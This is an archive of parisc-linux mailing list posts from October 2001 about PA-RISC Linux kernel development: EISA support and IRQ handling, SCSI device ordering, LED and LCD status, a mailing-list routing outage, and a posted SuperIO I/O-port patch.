NNTP-Posting-Date: Sat, 22 Nov 2014 01:43:31 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Oct 11 13:57:08 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from xo.hp.is (xo.hp.is [194.105.242.199])
	by dsl2.external.hp.com (Postfix) with ESMTP id C7F1C482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 11 Oct 2001 13:57:06 -0600 (MDT)
Original-Received: (from ra@localhost)
	by xo.hp.is (8.11.6/RA-8.11.6) id f9BJARo07849
	for parisc-linux@lists.parisc-linux.org; Thu, 11 Oct 2001 19:10:27 GMT
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
X-Subliminal-Message: Microsoft sucks! Update your system to Linux today!
Xref: news.gmane.org gmane.linux.ports.parisc:12601

I just upgraded my C360 to todays kernel snapshot.

Linux bofh 2.4.9-pa47 #1 Thu Oct 11 17:19:20 UTC 2001 parisc unknown

And now for the first time the leds on the front panel are working :-)
Great work :-)

Now I wont get "helpful" coworkers coming into my booth and saying to
themselves: "Gee, that C360 looks frozen. Id better powercycle it for him." :)

IHMO, a major milestone in PA-Risc linux development :)

-- 
Rikki.         --  HP Technical Support, RHCE, RHCX, HP-UX Certified Admin.
               --  Solaris 7 Certified Systems and Network Administrator.
Bell Labs Unix --  Reach out and grep someone.
Those who do not understand Unix are condemned to reinvent it, poorly.




From - Thu Nov 08 21:19:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] EISA support
Date: Thu, 11 Oct 2001 21:22:52 +0100
Lines: 39
Approved: news@gmane.org
Message-ID: <20011011212252.B25868@parcelfarce.linux.theplanet.co.uk>
References: <20011010072441.B24923@parcelfarce.linux.theplanet.co.uk> <20011010134526.F11105@linuxcare.com> <20011010152807.C24923@parcelfarce.linux.theplanet.co.uk> <20011011024010.C13932@parcelfarce.linux.theplanet.co.uk> <20011011122351.L11105@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620612 27828 80.91.229.3 (22 Nov 2014 01:43:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:43:32 +0000 (UTC)
Cc: Matthew Wilcox <willy@debian.org>, parisc-linux@parisc-linux.org
To: Richard Hirst <rhirst@linuxcare.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Oct 11 14:22:53 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 71BAE482F
	for <parisc-linux@parisc-linux.org>; Thu, 11 Oct 2001 14:22:53 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 15rmM0-0005Mg-00; Thu, 11 Oct 2001 21:22:52 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20011011122351.L11105@linuxcare.com>; from rhirst@linuxcare.com on Thu, Oct 11, 2001 at 12:23:51PM +0100
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:12602

On Thu, Oct 11, 2001 at 12:23:51PM +0100, Richard Hirst wrote:
> asp_find_irq() wants changing:
> 
> -               case 0x76:      irq = 21; break; /* Centronics */
> +               case 0x76:      irq = 17; break; /* EISA BA */

Umm.  According to the Coral/Cobra (720/730/750) ERS I have here, irq 17
on Asp is error.  The Hardball ERS claims the same for the Cutoff ASIC
(someone's written in pencil `Asp 2' by it).  The comment is bogus;
I'll fix that.

> and needs a default case to avoid returning random irq values.

Yep, fixed in my tree.

> and you probably want something like this in eisa_probe():
> 
>         eisa_dev.region->action = kmalloc(sizeof(struct irqaction) * 32, GFP_ATOMIC);
>         memset(eisa_dev.region->action, 0, sizeof(struct irqaction) * 32);
> 
> I'm sure '32' is wrong, but at least you need some range checking on
> irq in eisa_irq() before using it to index in to the action array.

Probably something along those lines.  Apparently I should mask the byte
returned as well, but the docs say to see the Intel 82357 ISP data sheet
for details.  Grumble.

> I don't get any further eisa_irq() calls once my scsi card gerneates an
> interrupt, but for all I know I may have to poke some registers in the
> card before it allows interrupts out.

Looks like we're getting one error, and not resetting the bus.  Wonder why
we're getting an error...

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:19:50 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Neulinger, Nathan" <nneul@umr.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] new scsi drivers...
Date: Thu, 11 Oct 2001 15:44:58 -0500
Lines: 25
Approved: news@gmane.org
Message-ID: <6CAC36C3427CEB45A4A6DF0FBDABA56D86D8CA@umr-mail03.cc.umr.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="ISO-8859-1"
X-Trace: ger.gmane.org 1416620612 27832 80.91.229.3 (22 Nov 2014 01:43:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:43:32 +0000 (UTC)
To: "'parisc-linux@lists.parisc-linux.org'" <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Oct 11 14:45:23 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp.umr.edu (mrelay.cc.umr.edu [131.151.1.89])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8D2E2482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 11 Oct 2001 14:45:22 -0600 (MDT)
Original-Received: from umr-mail01.cc.umr.edu (umr-mail01.cc.umr.edu [131.151.1.108]) via ESMTP by mrelay.cc.umr.edu (8.9.3/R.4.20) id PAA16922; Thu, 11 Oct 2001 15:45:17 -0500
Original-Received: by umr-mail01.cc.umr.edu with Internet Mail Service (5.5.2653.19)
	id <THKHK9YQ>; Thu, 11 Oct 2001 15:45:17 -0500
X-Mailer: Internet Mail Service (5.5.2653.19)
Xref: news.gmane.org gmane.linux.ports.parisc:12603

Well, just updated my j210, and it seems to work ok, but for one tiny
detail. (Well, not really a problem, just a heads-up.)

The ordering of scsi devices changes with this new driver.

My J210 has two narrow scsi disks (4,5) (booting off 4), and two wide (5,6).
They showed up previously as "sda, sdb, sdc, sdd" respectively. Now they are
"sdc, sdd, sda, sdb".

Not a problem once I realized what was happening. Just keep aware of this in
case anyone else sees similar problem.

I must say though - very nice work with palo's edit at boot mode... 

FYI - The LCD is working great on the j210 now as well. 

-- Nathan

------------------------------------------------------------
Nathan Neulinger                       EMail:  nneul@umr.edu
University of Missouri - Rolla         Phone: (573) 341-4841
Computing Services                       Fax: (573) 341-4216




From - Thu Nov 08 21:19:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Neulinger, Nathan" <nneul@umr.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] new scsi drivers...
Date: Thu, 11 Oct 2001 15:52:04 -0500
Lines: 11
Approved: news@gmane.org
Message-ID: <6CAC36C3427CEB45A4A6DF0FBDABA56D86D8CC@umr-mail03.cc.umr.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="ISO-8859-1"
X-Trace: ger.gmane.org 1416620612 27835 80.91.229.3 (22 Nov 2014 01:43:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:43:32 +0000 (UTC)
To: "'parisc-linux@lists.parisc-linux.org'" <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Oct 11 14:52:27 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp.umr.edu (mrelay.cc.umr.edu [131.151.1.89])
	by dsl2.external.hp.com (Postfix) with ESMTP id 18285482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 11 Oct 2001 14:52:26 -0600 (MDT)
Original-Received: from umr-mail01.cc.umr.edu (umr-mail01.cc.umr.edu [131.151.1.108]) via ESMTP by mrelay.cc.umr.edu (8.9.3/R.4.20) id PAA19250; Thu, 11 Oct 2001 15:52:21 -0500
Original-Received: by umr-mail01.cc.umr.edu with Internet Mail Service (5.5.2653.19)
	id <THKHK90F>; Thu, 11 Oct 2001 15:52:21 -0500
X-Mailer: Internet Mail Service (5.5.2653.19)
Xref: news.gmane.org gmane.linux.ports.parisc:12604

> FYI - The LCD is working great on the j210 now as well. 

Actually, I take that back. The heartbeat on LCD is hollow (non blinking),
and the LED is blinking. Seems better than it was (stuck in INIT) though.
(Isn't the LED normally on solid when system is running and only blinking at
init or shutdown?)

-- Nathan




From - Thu Nov 08 21:19:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Neulinger, Nathan" <nneul@umr.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] new scsi drivers...
Date: Thu, 11 Oct 2001 15:53:37 -0500
Lines: 33
Approved: news@gmane.org
Message-ID: <6CAC36C3427CEB45A4A6DF0FBDABA56D86D8CD@umr-mail03.cc.umr.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="ISO-8859-1"
X-Trace: ger.gmane.org 1416620613 27840 80.91.229.3 (22 Nov 2014 01:43:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:43:33 +0000 (UTC)
To: "'parisc-linux@lists.parisc-linux.org'" <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Oct 11 14:53:57 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp.umr.edu (mrelay.cc.umr.edu [131.151.1.89])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2E256482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 11 Oct 2001 14:53:56 -0600 (MDT)
Original-Received: from umr-mail01.cc.umr.edu (umr-mail01.cc.umr.edu [131.151.1.108]) via ESMTP by mrelay.cc.umr.edu (8.9.3/R.4.20) id PAA19743; Thu, 11 Oct 2001 15:53:54 -0500
Original-Received: by umr-mail01.cc.umr.edu with Internet Mail Service (5.5.2653.19)
	id <THKHK0A5>; Thu, 11 Oct 2001 15:53:54 -0500
X-Mailer: Internet Mail Service (5.5.2653.19)
Xref: news.gmane.org gmane.linux.ports.parisc:12605

BTW, Whatever y'all did with the network to the mailing list host -
wonderful - it now responds really quick to list submissions.

-- Nathan

> -----Original Message-----
> From: Neulinger, Nathan [mailto:nneul@umr.edu]
> Sent: Thursday, October 11, 2001 3:52 PM
> To: 'parisc-linux@lists.parisc-linux.org'
> Subject: RE: [parisc-linux] new scsi drivers...
> 
> 
> > FYI - The LCD is working great on the j210 now as well. 
> 
> Actually, I take that back. The heartbeat on LCD is hollow 
> (non blinking),
> and the LED is blinking. Seems better than it was (stuck in 
> INIT) though.
> (Isn't the LED normally on solid when system is running and 
> only blinking at
> init or shutdown?)
> 
> -- Nathan
> 
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/cgi-bin/mailman/listinfo/parisc-linux
> 




From - Thu Nov 08 21:19:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@puffin.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] EISA changes broke SuckyIO
Date: Thu, 11 Oct 2001 15:06:18 -0600
Lines: 225
Approved: news@gmane.org
Message-ID: <200110112106.PAA30379@puffin.external.hp.com>
References: <willy@debian.org>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620613 27842 80.91.229.3 (22 Nov 2014 01:43:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:43:33 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Oct 11 15:10:03 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3899A482A
	for <parisc-linux@parisc-linux.org>; Thu, 11 Oct 2001 15:10:03 -0600 (MDT)
Original-Received: from puffin (IDENT:grundler@localhost [127.0.0.1])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id PAA30379;
	Thu, 11 Oct 2001 15:06:18 -0600
In-Reply-To: Message from Matthew Wilcox <willy@debian.org> 
   of "Thu, 11 Oct 2001 06:46:08 BST." <20011011064608.A25868@parcelfarce.linux.theplanet.co.uk> 
Xref: news.gmane.org gmane.linux.ports.parisc:12606

Matthew Wilcox wrote:
> The recent changes (-pa46 or so) which I made to support EISA have
> broken SuckyIO-based boxes -- everything from the B1000 to J7000.
> This will get fixed tomorrow.

I tried to fix this modifying suckyio support to work with
something other tha zero-based IOport space. serial and parallel
ports worked. IDE was causing data page faults at boot and I decided
I wasn't going to pursue this path any further. Here's the patch of
what I've done so far in case anyone needs to support suckyio as an
add-on card.

Matthew promised to fix the EISA support so HBA 0 isn't reserved
for all platforms. And suckyio will get zero based IO port
space again.

grant


Index: arch/parisc/kernel/superio.c
===================================================================
RCS file: /home/cvs/parisc/linux/arch/parisc/kernel/superio.c,v
retrieving revision 1.8
diff -u -p -r1.8 superio.c
--- superio.c	2001/09/06 09:44:07	1.8
+++ superio.c	2001/10/11 20:55:51
@@ -76,6 +76,25 @@ static struct superio_device sio_dev = {
 	iosapic_irq: -1
 };
 
+#if 1
+/* CONFIG_EISA support reserves HBA 0.
+** Suckyio up to now assumed it had HBA 0 (which is normally true).
+*/
+static int sio_hba_base = 0;
+static __inline__ unsigned char sio_inb(addr)
+{
+	return inb(sio_hba_base + addr);
+}
+
+static void __inline__ sio_outb(unsigned char val, unsigned int addr)
+{
+	outb(val, sio_hba_base + addr);
+}
+#else /* !CONFIG_EISA */
+#define sio_inb inb
+#define sio_outb outb
+#endif /* !CONFIG_EISA */
+
 void
 superio_inform_irq(int irq)
 {
@@ -98,9 +117,9 @@ superio_interrupt(int irq, void *devp, s
 	u8 local_irq;
 
 	/* Poll the 8259 to see if there's an interrupt. */
-	outb (OCW3_POLL,IC_PIC1+0);
+	sio_outb (OCW3_POLL,IC_PIC1+0);
 
-	results = inb(IC_PIC1+0);
+	results = sio_inb(IC_PIC1+0);
 
 	if ((results & 0x80) == 0) {
 #ifndef CONFIG_SMP
@@ -124,8 +143,8 @@ superio_interrupt(int irq, void *devp, s
 
 		/* Could be spurious. Check in service bits */
 
-		outb(OCW3_ISR,IC_PIC1+0);
-		results = inb(IC_PIC1+0);
+		sio_outb(OCW3_ISR,IC_PIC1+0);
+		results = sio_inb(IC_PIC1+0);
 		if ((results & 0x80) == 0) { /* if ISR7 not set: spurious */
 			printk(KERN_WARNING "SuperIO: spurious interrupt!\n");
 			return;
@@ -140,7 +159,7 @@ superio_interrupt(int irq, void *devp, s
 
 	/* set EOI */
 
-	outb((OCW2_SEOI|local_irq),IC_PIC1 + 0);
+	sio_outb((OCW2_SEOI|local_irq),IC_PIC1 + 0);
 	return;
 }
 
@@ -162,20 +181,29 @@ superio_init(struct superio_device *sio)
 	printk (KERN_INFO "SuperIO: Found NS87560 legacy I/O device at %s. iosapic irq = %i \n",
 		pdev->slot_name,sio->iosapic_irq);
 
+/* #ifdef CONFIG_EISA */
+#if 1
+	sio_hba_base = HBA_FIXUP_IOPORT(pdev, 0);
+#endif
+
 	/* Find our I/O devices */
-	pci_read_config_word (pdev, SIO_SP1BAR, &sio->sp1_base);
+	pci_read_config_word (pdev, SIO_SP1BAR, &word);
+	sio->sp1_base = HBA_FIXUP_IOPORT(pdev, word);
 	sio->sp1_base &= ~1;
 	printk (KERN_INFO "SuperIO: Serial port 1 at 0x%x\n", sio->sp1_base);
 
-	pci_read_config_word (pdev, SIO_SP2BAR, &sio->sp2_base);
+	pci_read_config_word (pdev, SIO_SP2BAR, &word);
+	sio->sp2_base = HBA_FIXUP_IOPORT(pdev, word);
 	sio->sp2_base &= ~1;
 	printk (KERN_INFO "SuperIO: Serial port 2 at 0x%x\n", sio->sp2_base);
 
-	pci_read_config_word (pdev, SIO_PPBAR, &sio->pp_base);
+	pci_read_config_word (pdev, SIO_PPBAR, &word);
+	sio->pp_base = HBA_FIXUP_IOPORT(pdev, word);
 	sio->pp_base &= ~1;
 	printk (KERN_INFO "SuperIO: Parallel port at 0x%x\n", sio->pp_base);
 
-	pci_read_config_word (pdev, SIO_FDCBAR, &sio->fdc_base);
+	pci_read_config_word (pdev, SIO_FDCBAR, &word);
+	sio->fdc_base = HBA_FIXUP_IOPORT(pdev, word);
 	sio->fdc_base &= ~1;
 	printk (KERN_INFO "SuperIO: Floppy controller at 0x%x\n", sio->fdc_base);
 
@@ -202,28 +230,28 @@ superio_init(struct superio_device *sio)
 		pci_write_config_byte (pdev, i, 0x0);
 
 	/* PIC1 Initialization Command Word register programming */
-	outb (0x11,IC_PIC1+0);	/* ICW1: ICW4 write req | ICW1 */
-	outb (0x00,IC_PIC1+1);	/* ICW2: N/A */
-	outb (0x04,IC_PIC1+1);	/* ICW3: Cascade */
-	outb (0x01,IC_PIC1+1);	/* ICW4: x86 mode */
+	sio_outb (0x11,IC_PIC1+0);	/* ICW1: ICW4 write req | ICW1 */
+	sio_outb (0x00,IC_PIC1+1);	/* ICW2: N/A */
+	sio_outb (0x04,IC_PIC1+1);	/* ICW3: Cascade */
+	sio_outb (0x01,IC_PIC1+1);	/* ICW4: x86 mode */
 
 	/* PIC1 Program Operational Control Words */
-	outb (0xff,IC_PIC1+1);	/* OCW1: Mask all interrupts */
-	outb (0xc2,IC_PIC1+0);  /* OCW2: priority (3-7,0-2) */
+	sio_outb (0xff,IC_PIC1+1);	/* OCW1: Mask all interrupts */
+	sio_outb (0xc2,IC_PIC1+0);  /* OCW2: priority (3-7,0-2) */
 
 	/* PIC2 Initialization Command Word register programming */
-	outb (0x11,IC_PIC2+0);	/* ICW1: ICW4 write req | ICW1 */
-	outb (0x00,IC_PIC2+1);	/* ICW2: N/A */
-	outb (0x02,IC_PIC2+1);	/* ICW3: Slave ID code */
-	outb (0x01,IC_PIC2+1);	/* ICW4: x86 mode */
+	sio_outb (0x11,IC_PIC2+0);	/* ICW1: ICW4 write req | ICW1 */
+	sio_outb (0x00,IC_PIC2+1);	/* ICW2: N/A */
+	sio_outb (0x02,IC_PIC2+1);	/* ICW3: Slave ID code */
+	sio_outb (0x01,IC_PIC2+1);	/* ICW4: x86 mode */
 		
 	/* Program Operational Control Words */
-	outb (0xff,IC_PIC1+1);	/* OCW1: Mask all interrupts */
-	outb (0x68,IC_PIC1+0);	/* OCW3: OCW3 select | ESMM | SMM */
+	sio_outb (0xff,IC_PIC1+1);	/* OCW1: Mask all interrupts */
+	sio_outb (0x68,IC_PIC1+0);	/* OCW3: OCW3 select | ESMM | SMM */
 
 	/* Write master mask reg */
 
-	outb (0xff,IC_PIC1+1);
+	sio_outb (0xff,IC_PIC1+1);
 
 	/* Set up interrupt routing */
 
@@ -262,9 +290,9 @@ superio_disable_irq(void *dev, int local
 
 	/* Mask interrupt */
 
-	r8 = inb(IC_PIC1+1);
+	r8 = sio_inb(IC_PIC1+1);
 	r8 |= (1 << local_irq);
-	outb (r8,IC_PIC1+1);
+	sio_outb (r8,IC_PIC1+1);
 }
 
 static void
@@ -289,9 +317,9 @@ superio_enable_irq(void *dev, int local_
 
 	/* Unmask interrupt */
 
-	r8 = inb(IC_PIC1+1);
+	r8 = sio_inb(IC_PIC1+1);
 	r8 &= ~(1 << local_irq);
-	outb (r8,IC_PIC1+1);
+	sio_outb (r8,IC_PIC1+1);
 }
 
 static void
Index: include/asm-parisc/pci.h
===================================================================
RCS file: /home/cvs/parisc/linux/include/asm-parisc/pci.h,v
retrieving revision 1.31
diff -u -p -r1.31 pci.h
--- pci.h	2001/10/10 20:10:13	1.31
+++ pci.h	2001/10/11 20:55:54
@@ -69,6 +69,8 @@ struct pci_hba_data {
 #define HBA_PORT_BASE(h)	((h) << HBA_PORT_SPACE_BITS)
 #define HBA_PORT_SPACE_SIZE	(1UL << HBA_PORT_SPACE_BITS)
 
+#define HBA_FIXUP_IOPORT(pdev, b) (HBA_PORT_BASE(HBA_DATA(pdev->sysdata)->hba_num) + b)
+
 #define PCI_PORT_HBA(a)		((a) >> HBA_PORT_SPACE_BITS)
 #define PCI_PORT_ADDR(a)	((a) & (HBA_PORT_SPACE_SIZE - 1))
 
Index: include/asm-parisc/superio.h
===================================================================
RCS file: /home/cvs/parisc/linux/include/asm-parisc/superio.h,v
retrieving revision 1.3
diff -u -p -r1.3 superio.h
--- superio.h	2001/07/15 20:02:07	1.3
+++ superio.h	2001/10/11 20:55:54
@@ -38,10 +38,10 @@
 #define SUPERIO_NIRQS   8
 
 struct superio_device {
-	u16 fdc_base;
-	u16 sp1_base;
-	u16 sp2_base;
-	u16 pp_base;
+	unsigned int fdc_base;
+	unsigned int sp1_base;
+	unsigned int sp2_base;
+	unsigned int pp_base;
 	int iosapic_irq;
 	int iosapic_irq_enabled;
 	struct irq_region *irq_region;




From - Thu Nov 08 21:19:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matt Taggart <taggart@carmen.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] puffin.external.hp.com,... unreachable through 
 quest
Date: Thu, 11 Oct 2001 15:30:48 -0600
Lines: 28
Approved: news@gmane.org
Message-ID: <20011011213048.D079F37CAB@carmen.fc.hp.com>
References: <Pine.BSF.4.30.0109300915230.69485-100000@noc.zabbadoz.net> 
 <20011003190937.A1295@dogbert.localdomain>  <20011003182725.1901A37DBC@carmen.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620613 27845 80.91.229.3 (22 Nov 2014 01:43:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:43:33 +0000 (UTC)
To: Albert Strasheim <fullung@ilink.nis.za>,
	parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Oct 11 15:30:54 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from atlrel2.hp.com (atlrel2.hp.com [156.153.255.202])
	by dsl2.external.hp.com (Postfix) with ESMTP id AC7BE482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 11 Oct 2001 15:30:54 -0600 (MDT)
Original-Received: from carmen.fc.hp.com (carmen.fc.hp.com [15.1.51.72])
	by atlrel2.hp.com (Postfix) with ESMTP
	id BDAA8239E; Thu, 11 Oct 2001 17:30:53 -0400 (EDT)
Original-Received: from carmen.fc.hp.com (localhost [127.0.0.1])
	by carmen.fc.hp.com (Postfix) with ESMTP
	id D079F37CAB; Thu, 11 Oct 2001 15:30:48 -0600 (MDT)
X-Mailer: exmh version 2.3.1 01/18/2001 (debian 2.3.1-1) with nmh-1.0.4+dev
In-Reply-To: Message from Matt Taggart <taggart@carmen.fc.hp.com> 
   of "Wed, 03 Oct 2001 12:27:25 MDT." <20011003182725.1901A37DBC@carmen.fc.hp.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:12607

Matt Taggart writes...

> It appears to be a routing problem which seems to affect mostly non-US domain
> I filed a support request on Monday. They're still trying to figure out what'
> going on. I'll send mail once it's resolved.
> 
> Sorry for the outage,

Well it's fixed now but we don't know why yet. Thanks go to Lamont Jones 
<lamont@hp.com> for poking the right ISPs and getting someone to take 
action(rather than just point fingers). It's not his job but he got it done.

On behalf of HP, sorry this took so long to fix. Those responsible for the 
delay will be sufficently LARTed.

If anyone experiences problems like this in the future please contact me 
directly.

Thanks,

-- 
Matt Taggart        Linux Development Lab
taggart@fc.hp.com   HP Linux Systems Operation






From - Thu Nov 08 21:19:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] EISA support
Date: Fri, 12 Oct 2001 07:44:49 +0100
Lines: 12
Approved: news@gmane.org
Message-ID: <20011012074449.E25868@parcelfarce.linux.theplanet.co.uk>
References: <20011010072441.B24923@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620613 27848 80.91.229.3 (22 Nov 2014 01:43:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:43:33 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Oct 12 00:44:51 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id E0F8C482A
	for <parisc-linux@parisc-linux.org>; Fri, 12 Oct 2001 00:44:50 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 15rw3t-0004aj-00
	for parisc-linux@parisc-linux.org; Fri, 12 Oct 2001 07:44:49 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20011010072441.B24923@parcelfarce.linux.theplanet.co.uk>; from willy@debian.org on Wed, Oct 10, 2001 at 07:24:41AM +0100
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:12608

OK, just committed 2.4.9-pa49 which makes my hp100 EISA card work:

64 bytes from 15.1.50.0: icmp_seq=1 ttl=255 time=0.5 ms

Haven't made any effort to support busmastering cards yet, but having
ioports, iomem & interrupts working should allow most cards to function.

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:19:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] EISA support
Date: Fri, 12 Oct 2001 09:47:19 +0100
Lines: 15
Approved: news@gmane.org
Message-ID: <20011012094719.P11105@linuxcare.com>
References: <20011010072441.B24923@parcelfarce.linux.theplanet.co.uk> <20011012074449.E25868@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620614 27851 80.91.229.3 (22 Nov 2014 01:43:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:43:34 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Oct 12 02:46:52 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from rhirst.linuxcare.com (pc1-hems4-0-cust107.bre.cable.ntl.com [213.105.88.107])
	by dsl2.external.hp.com (Postfix) with ESMTP id DAAFA482A
	for <parisc-linux@parisc-linux.org>; Fri, 12 Oct 2001 02:46:51 -0600 (MDT)
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id CC5CBB00C; Fri, 12 Oct 2001 09:47:19 +0100 (BST)
X-Mailer: Mutt 1.0us
In-Reply-To: <20011012074449.E25868@parcelfarce.linux.theplanet.co.uk>; from willy@debian.org on Fri, Oct 12, 2001 at 07:44:49AM +0100
Xref: news.gmane.org gmane.linux.ports.parisc:12609

On Fri, Oct 12, 2001 at 07:44:49AM +0100, Matthew Wilcox wrote:
> 
> OK, just committed 2.4.9-pa49 which makes my hp100 EISA card work:
> 
> 64 bytes from 15.1.50.0: icmp_seq=1 ttl=255 time=0.5 ms
> 
> Haven't made any effort to support busmastering cards yet, but having
> ioports, iomem & interrupts working should allow most cards to function.

Still can't get any interrupts out of my EISA scsi card in 715/75.

Richard




From - Thu Nov 08 21:19:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
